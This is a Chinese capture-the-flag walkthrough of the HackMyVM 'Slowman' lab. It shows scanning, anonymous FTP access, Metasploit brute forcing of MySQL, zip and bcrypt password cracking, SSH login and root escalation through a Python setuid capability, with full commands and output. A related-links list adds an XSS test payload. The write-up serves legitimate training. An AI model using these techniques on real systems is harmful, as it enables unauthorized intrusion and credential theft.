Slowman - hackmyvm

news2024/9/29 1:26:20

简介

靶机名称:Slowman

难度:简单

靶场地址:https://hackmyvm.eu/machines/machine.php?vm=Slowman

本地环境

虚拟机:vitual box

靶场IP(Slowman):192.168.130.57

windows_IP:192.168.130.158

kali_IP:192.168.130.156

扫描

nmap起手

nmap -sT -p0- 192.168.130.57 -oA nmapscan/ports ;ports=$(grep open ./nmapscan/ports.nmap | awk -F '/' '{print $1}' | paste -sd ',');echo $ports >> nmapscan/tcp_ports;
sudo nmap -sT -sV -sC -O -p$ports 192.168.130.57 -oA nmapscan/detail
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.5
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:192.168.130.156
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 4
|      vsFTPd 3.0.5 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 02:d6:5e:01:45:5b:8d:2d:f9:cb:0b:df:45:67:04:22 (ECDSA)
|_  256 f9:ce:4a:75:07:d0:05:1d:fb:a7:a7:69:39:1b:08:10 (ED25519)
80/tcp   open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Fastgym
|_http-server-header: Apache/2.4.52 (Ubuntu)
3306/tcp open  mysql   MySQL 8.0.35-0ubuntu0.22.04.1
| ssl-cert: Subject: commonName=MySQL_Server_8.0.35_Auto_Generated_Server_Certificate
| Not valid before: 2023-11-22T19:44:52
|_Not valid after:  2033-11-19T19:44:52
|_ssl-date: TLS randomness does not represent time
| mysql-info:
|   Protocol: 10
|   Version: 8.0.35-0ubuntu0.22.04.1
|   Thread ID: 12
|   Capabilities flags: 65535
|   Some Capabilities: DontAllowDatabaseTableColumn, LongColumnFlag, Support41Auth, Speaks41ProtocolNew, SwitchToSSLAfterHandshake, SupportsTransactions, IgnoreSigpipes, ConnectWithDatabase, LongPassword, ODBCClient, SupportsLoadDataLocal, SupportsCompression, InteractiveClient, FoundRows, Speaks41ProtocolOld, IgnoreSpaceBeforeParenthesis, SupportsAuthPlugins, SupportsMultipleStatments, SupportsMultipleResults
|   Status: Autocommit
|   Salt: @f"23Kc)I%tRn\x1BO!\x1Et(q
|_  Auth Plugin Name: caching_sha2_password
MAC Address: 08:00:27:0E:FF:FF (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|storage-misc
Running (JUST GUESSING): Linux 4.X|5.X|2.6.X|3.X (97%), Synology DiskStation Manager 5.X (90%), Netgear RAIDiator 4.X (87%)
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:linux:linux_kernel:2.6.32 cpe:/o:linux:linux_kernel:3 cpe:/a:synology:diskstation_manager:5.2 cpe:/o:netgear:raidiator:4.2.28
Aggressive OS guesses: Linux 4.15 - 5.8 (97%), Linux 5.0 - 5.4 (97%), Linux 5.0 - 5.5 (95%), Linux 5.4 (91%), Linux 2.6.32 (91%), Linux 3.10 - 4.11 (91%), Linux 3.2 - 4.9 (91%), Linux 3.4 - 3.10 (91%), Linux 2.6.32 - 3.10 (91%), Linux 2.6.32 - 3.13 (91%)

ftp

允许匿名登录,但是遇上了个Entering Extended Passive Mode错误

ftp> binary
200 Switching to Binary mode.
ftp> ls
229 Entering Extended Passive Mode (|||42865|)
^C
receive aborted. Waiting for remote to finish abort.
ftp> ls
229 Entering Extended Passive Mode (|||18414|)

这里把被动模式(passive mode)和EPSV4关闭。前者是字面意思,后者则是FTP为了适应IPV6环境对FTP做的扩展功能,但其在老版本FTP上兼容性不好,所以我们这边直接关掉即可。

ftp> epsv4 off
EPSV/EPRT on IPv4 off.
ftp> ls
227 Entering Passive Mode (192,168,130,57,60,94).
^C
receive aborted. Waiting for remote to finish abort.
ftp> passive
Passive mode: off; fallback to active mode: off.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r--    1 0        0              12 Nov 22  2023 allowedusersmysql.txt
226 Directory send OK.

allowedusersmysql.txt内容是trainerjeff

mysql

这里使用msf来爆破

msf6 auxiliary(scanner/mysql/mysql_login) > show options

Module options (auxiliary/scanner/mysql/mysql_login):

   Name              Current Setting            Required  Description
   ----              ---------------            --------  -----------
   ANONYMOUS_LOGIN   false                      yes       Attempt to login with a blank username and
                                                           password
   BLANK_PASSWORDS   true                       no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                          yes       How fast to bruteforce, from 0 to 5
   CreateSession     false                      no        Create a new session for every successful
                                                          login
   DB_ALL_CREDS      false                      no        Try each user/password couple stored in th
                                                          e current database
   DB_ALL_PASS       false                      no        Add all passwords in the current database
                                                          to the list
   DB_ALL_USERS      false                      no        Add all users in the current database to t
                                                          he list
   DB_SKIP_EXISTING  none                       no        Skip existing credentials stored in the cu
                                                          rrent database (Accepted: none, user, user
                                                          &realm)
   PASSWORD                                     no        A specific password to authenticate with
   PASS_FILE         /home/kali/1_Tool/1_HVV/8  no        File containing passwords, one per line
                     _dict/kali.txt
   Proxies                                      no        A proxy chain of format type:host:port[,ty
                                                          pe:host:port][...]
   RHOSTS            192.168.130.57             yes       The target host(s), see https://docs.metas
                                                          ploit.com/docs/using-metasploit/basics/usi
                                                          ng-metasploit.html
   RPORT             3306                       yes       The target port (TCP)
   STOP_ON_SUCCESS   false                      yes       Stop guessing when a credential works for
                                                          a host
   THREADS           1                          yes       The number of concurrent threads (max one
                                                          per host)
   USERNAME          trainerjeff                no        A specific username to authenticate as
   USERPASS_FILE                                no        File containing users and passwords separa
                                                          ted by space, one pair per line
   USER_AS_PASS      true                       no        Try the username as the password for all u
                                                          sers
   USER_FILE                                    no        File containing usernames, one per line
   VERBOSE           true                       yes       Whether to print output for all attempts


View the full module info with the info, or info -d command.

image-20240823101159191

trainerjeff:soccer1

连接,里面存储了一个凭据和后台路径。

image-20240823101533814

HTTP

/secretLOGIN/login.html输入凭据,重定向到/secretgym/。里面有一个zip文件。

image-20240823101758478

要密码,用kali本跟他爆了。密码是spongebob1

image-20240823101939057

得到一个用bcrypt加密的哈希

----------
$USERS: trainerjean

$PASSWORD: $2y$10$DBFBehmbO6ktnyGyAtQZNeV/kiNAE.Y3He8cJsvpRxIFEhRAUe1kq 
---------- 

使用hashcat进行爆破

./hashcat.exe -a 0 -m 3200 '$2y$10$DBFBehmbO6ktnyGyAtQZNeV/kiNAE.Y3He8cJsvpRxIFEhRAUe1kq' E:\1_tool\17_dict\kali.txt -O -d 2  --force --potfile-disable
CUDA API (CUDA 12.4)
====================
* Device #1: NVIDIA GeForce RTX 4070 Ti, skipped

OpenCL API (OpenCL 3.0 CUDA 12.4.131) - Platform #1 [NVIDIA Corporation]
========================================================================
* Device #2: NVIDIA GeForce RTX 4070 Ti, 12160/12281 MB (3070 MB allocatable), 60MCU

Kernel ./OpenCL/m03200-optimized.cl:
Optimized kernel requested, but not available or not required
Falling back to pure kernel

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 72

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Single-Hash
* Single-Salt

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 147 MB

Dictionary cache hit:
* Filename..: E:\1_tool\17_dict\kali.txt
* Passwords.: 14344384
* Bytes.....: 139921497
* Keyspace..: 14344384

$2y$10$DBFBehmbO6ktnyGyAtQZNeV/kiNAE.Y3He8cJsvpRxIFEhRAUe1kq:tweety1

得到密码是tweety1

ssh连接,成功登陆。获得user.txt。

image-20240823102512356

提权

当前文件夹下有个隐藏文件.python_history

trainerjean@slowman:~$ ls -alh
total 32K
drwxr-x--- 3 trainerjean trainerjean 4.0K Nov 23  2023 .
drwxr-xr-x 5 root        root        4.0K Nov 23  2023 ..
lrwxrwxrwx 1 root        root           9 Nov 23  2023 .bash_history -> /dev/null
-rw-r--r-- 1 trainerjean trainerjean  220 Nov 22  2023 .bash_logout
-rw-r--r-- 1 trainerjean trainerjean 3.7K Nov 22  2023 .bashrc
drwx------ 2 trainerjean trainerjean 4.0K Nov 22  2023 .cache
-rw-r--r-- 1 trainerjean trainerjean  807 Nov 22  2023 .profile
-rw------- 1 trainerjean trainerjean   77 Nov 23  2023 .python_history
-rw-r--r-- 1 root        root          29 Nov 23  2023 user.txt
trainerjean@slowman:~$ cat .python_history
import os
os.system('bash')
os.system('0')
os.setid('0')
os.setuid('0')
exit

把linpeas传上去看看,发现python3.10可以Capabilities提权

image-20240823103931643

那就直接进python创建shell就行了。不过不需要照着history来

trainerjean@slowman:/home$ /usr/bin/python3.10
Python 3.10.12 (main, Jun 11 2023, 05:26:28) [GCC 11.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
>>> os.setuid(0)
>>> os.system('id')
uid=0(root) gid=1002(trainerjean) groups=1002(trainerjean)
0
>>> os.system('ls -alh /root')
total 44K
drwx------  5 root root 4.0K Nov 23  2023 .
drwxr-xr-x 19 root root 4.0K Nov 22  2023 ..
lrwxrwxrwx  1 root root    9 Nov 23  2023 .bash_history -> /dev/null
-rw-r--r--  1 root root 3.1K Oct 15  2021 .bashrc
-rw-------  1 root root   20 Nov 22  2023 .lesshst
drwxr-xr-x  3 root root 4.0K Nov 22  2023 .local
-rw-------  1 root root  613 Nov 23  2023 .mysql_history
-rw-r--r--  1 root root  161 Jul  9  2019 .profile
-rw-------  1 root root   31 Nov 22  2023 .python_history
drwx------  2 root root 4.0K Nov 22  2023 .ssh
-rw-r--r--  1 root root    0 Nov 22  2023 .sudo_as_admin_successful
-rw-r--r--  1 root root   41 Nov 23  2023 root.txt
drwx------  3 root root 4.0K Nov 22  2023 snap

结束

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2066737.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

用ClouDNS注册免费永久域名

ClouDNS 免费域名创建教程 ClouDNS 是一家全球知名的托管 DNS 服务供应商,它提供的服务包括 GeoDNS、Anycast DNS 以及带有 DDoS 防护的 DNS 等。ClouDNS 提供了免费的 DNS 托管服务,其中包括单播 DNS 服务器、DNS 区域、DNS 记录、邮件转发等功能&…

matlab峰值检测

峰值检测的意义 在信号处理中,我们常常需要寻找信号的峰值,对于全局最大值,寻找起来比较容易,而对于局部峰值的寻找就需要考虑更多的条件,例如峰值的绝对幅度以及相邻峰值之间之间的间距;,我如…

笔记小结:《利用python进行数据分析》之matplotlib入门

matplotlib入门,这一篇就够了! matplotlib API入门 matplotlib的通常引入约定是: In [11]: import matplotlib.pyplot as plt 在Jupyter中运行%matplotlib notebook(或在IPython中运行%matplotlib),就可…

代码随想录算法训练营第二十二天| 回溯算法理论基础 77. 组合 216.组合总和III 17.电话号码的字母组合

目录 一、回溯算法理论基础二、LeetCode 77. 组合思路C代码 二、LeetCode 216.组合总和III思路C代码 二、LeetCode 17.电话号码的字母组合思路C代码 总结 一、回溯算法理论基础 回溯法:回溯法是一种将问题遍历的结构抽象为树形结构,在解空间树种采取深度…

vxe-selectvxe-date-picker下拉框被遮问题

解决之法&#xff1a; html: // vxe-select组件 &#xff0c;要加transfer <vxe-select:placeholder"$t(button.selects)"v-model"item.ruleParamId":options"item.options?.map(val > ({label: val.paramName, value: val.id}))"chang…

【操作系统 / 系统编程】2025 秋招超详细复习指南 - 基于 Linux 环境的全面复习 - 持续更新(目前1.7w字)

操作系统 / 系统编程复习目录 一、进程概念1. 冯诺依曼1.1 外设1.2 IO1.3 数据流1.4 存储分级 && IO效率 2. OS2.1 作用&#xff1a;管理2.2 管理&#xff1a;先描述&#xff0c;再组织2.3 内存管理、进程管理、文件系统、驱动管理 3. 进程3.1 什么是进程3.2 为什么要有…

数学建模2024国赛时间及事项安排

2024年的全国大学生数学建模竞赛即将拉开帷幕。考虑到许多同学可能是首次参与此类赛事&#xff0c;尚不清楚如何进行有效的时间安排&#xff0c;博主在此整理了以往参赛的经验和时间管理策略&#xff0c;希望能为大家提供一些有益的参考&#xff0c;更从容地应对国赛。 本届全国…

定制开发AI智能名片商城小程序:重塑品牌曝光的创新推手

摘要&#xff1a;随着移动互联网技术的飞速发展&#xff0c;小程序作为一种轻量级应用形态&#xff0c;正逐步成为企业品牌传播与商业变现的重要渠道。本文将探讨在品牌定位中&#xff0c;如何将“定制开发AI智能名片商城小程序”作为品牌曝光的核心推手&#xff0c;通过强化品…

pikachu-Cross-Site Scripting通过攻略

反射型xss(get) 第一步&#xff1a;进入先将maxlength中的20修改大一些&#xff0c;以便我们可以输入更多的字符 第二步&#xff1a;输入<script>alert(1)</script>成功爆破 反射型xss(post) 第一步&#xff1a;点击提示得到用户名和密码登录 第二步&#xff1…

轻松备份和共享照片的Circled.me

什么是 Circled.me &#xff1f; Circled.me 旨在帮助人们在自己的服务器上轻松备份和共享照片、视频、相册。注重性能、低占用空间以及易于实施和使用。支持托管社区所需的一切&#xff0c;能够进行交流和交换照片、想法等&#xff0c;实现通过群聊等方式与您的圈子分享。 软件…

电脑资料被删除怎么办?这些方法帮你轻松找回!

在日常工作和生活中&#xff0c;电脑资料的安全存储至关重要。然而&#xff0c;有时我们可能会因为误操作或其他原因不小心删除了重要资料。这时&#xff0c;我们该如何应对呢&#xff1f;本文将为你提供几种有效的恢复方法&#xff0c;帮你轻松找回被删除的电脑资料。 一、撤…

MySQL如何判断一个字段里面是否包含汉字

SQL查询中&#xff0c;length() 和 char_length() 都是用来获取字符串长度的函数 在单字节字符集下&#xff08;如ASCII&#xff09;&#xff1a;每个字符通常占用1个字节&#xff0c;因此length()和char_length()在这类字符集中给出的结果是一样 在多字节字符集下&#xff0…

湖北省各市各地两化融合贯标、3A级认定申报奖补补助、申报条件材料、流程指南

盘点湖北省各市各地两化融合贯标、3A级认定申报奖补补助、申报条件材料、流程等内容&#xff0c;武汉市、黄石市、十堰市、宜昌市、襄阳市、鄂州市、荆门市、孝感市、荆州市、黄冈市、咸宁市、随州市,恩施土家族苗族自治州、仙桃市、潜江市、天门市、神农架林区有需要具体了解的…

OPPO手机短信删除了怎么恢复?三大解决办法助你找回

在快节奏的生活中&#xff0c;手机短信作为我们日常沟通的重要工具之一&#xff0c;往往承载着许多重要的信息&#xff0c;如验证码、银行通知、会议安排等。然而&#xff0c;不小心误删短信的情况时有发生&#xff0c;特别是对于OPPO手机用户而言&#xff0c;短信一旦删除&…

谷粒商城实战笔记-240~243-商城业务-购物车-页面环境搭建

文章目录 一&#xff0c;页面调整1&#xff0c;详情页增加“加入购物车”按钮 二&#xff0c;添加购物车后台实现详细步骤异步处理的优点 三&#xff0c;解决加购重复提交问题 这部分的主要内容&#xff1a; 从product模块的详情页点击加入购物车&#xff0c;发送请求到cart购物…

Kubernetes服务发布基础

一、Service 1.service基本介绍 service为一组提供服务的pod提供抽象的稳定的网络访问地址&#xff0c;主要用于网络服务&#xff0c;通过service定义&#xff0c;为客户端提供访问地址和负载均衡&#xff0c;屏蔽endport的变化。 在 kubernetes 中,pod 的IP 地址是动态变…

大数据面试-Zookeeper

你对Zookeeper的选举机制了解吗&#xff1f;为什么zk节点个数推荐奇数台&#xff1f;zk第一次启动的选举的细节了解吗&#xff1f; ‌ZooKeeper的选举机制‌是基于Paxos算法的一种分布式选举算法&#xff0c;用于在ZooKeeper集群中选择一个节点作为Leader&#xff0c;负责处理…

做外贸如何判断国外采购商公司规模

判断客户公司的规模&#xff0c;对于业务员来说很重要&#xff0c;这样在谈价格以及其他条款的时候才能掌握主动。一般要怎么去判断客户公司的规模呢?我们都是做实事的&#xff0c;实际经验很重要&#xff0c;做过和没做过的看多了就知道。最基本的信息是公司的注册时间及相关…

【python】Python中通过WHL文件离线安装需要的包最全面讲解

✨✨ 欢迎大家来到景天科技苑✨✨ &#x1f388;&#x1f388; 养成好习惯&#xff0c;先赞后看哦~&#x1f388;&#x1f388; &#x1f3c6; 作者简介&#xff1a;景天科技苑 &#x1f3c6;《头衔》&#xff1a;大厂架构师&#xff0c;华为云开发者社区专家博主&#xff0c;…

【oracle】工具访问oracle提示-IO 错误: Got minus one from a read call

问题描述&#xff1a; 使用工具访问数据库时&#xff0c;提示IO 错误: Got minus one from a read call&#xff0c;在服务器上检查数据库正常&#xff0c;监听正常&#xff0c;连接数合理&#xff0c;防火墙没限制。最后定位sqlnet.ora配置限制了客户端访问。 解决&#xf…